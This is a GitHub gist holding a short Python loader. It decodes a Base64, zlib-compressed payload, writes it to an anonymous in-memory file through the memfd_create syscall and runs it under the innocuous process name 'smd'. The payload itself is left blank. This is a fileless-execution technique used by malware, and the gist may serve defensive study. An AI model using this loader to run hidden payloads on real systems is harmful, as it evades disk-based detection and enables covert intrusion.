Skip to content

Instantly share code, notes, and snippets.

@Cyber-Def
Created July 14, 2023 07:21
Show Gist options
  • Save Cyber-Def/fdc695eb8b6c5d782fbc08e26fab4708 to your computer and use it in GitHub Desktop.
Save Cyber-Def/fdc695eb8b6c5d782fbc08e26fab4708 to your computer and use it in GitHub Desktop.
import ctypes, os, base64, zlib
# Load the C library
c_library = ctypes.CDLL(None)
# Get the 'syscall' function from the C library
syscall = c_library.syscall
# Decode the Base64 encoded payload
decoded_payload = base64.b64decode(b'......')
# Decompress the decoded payload
decompressed_payload = zlib.decompress(decoded_payload)
# Make a system call to create an anonymous file in memory,
# syscall number 319 corresponds to 'memfd_create'
file_descriptor = syscall(319, '', 1)
# Write the decompressed payload into the anonymous file
os.write(file_descriptor, decompressed_payload)
# Create a path to the file descriptor in the proc filesystem
proc_path = '/proc/self/fd/%d' % file_descriptor
# Replace the current process with a new process,
# the new process is started by calling the executable at the 'proc_path'
os.execle(proc_path, 'smd', {})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment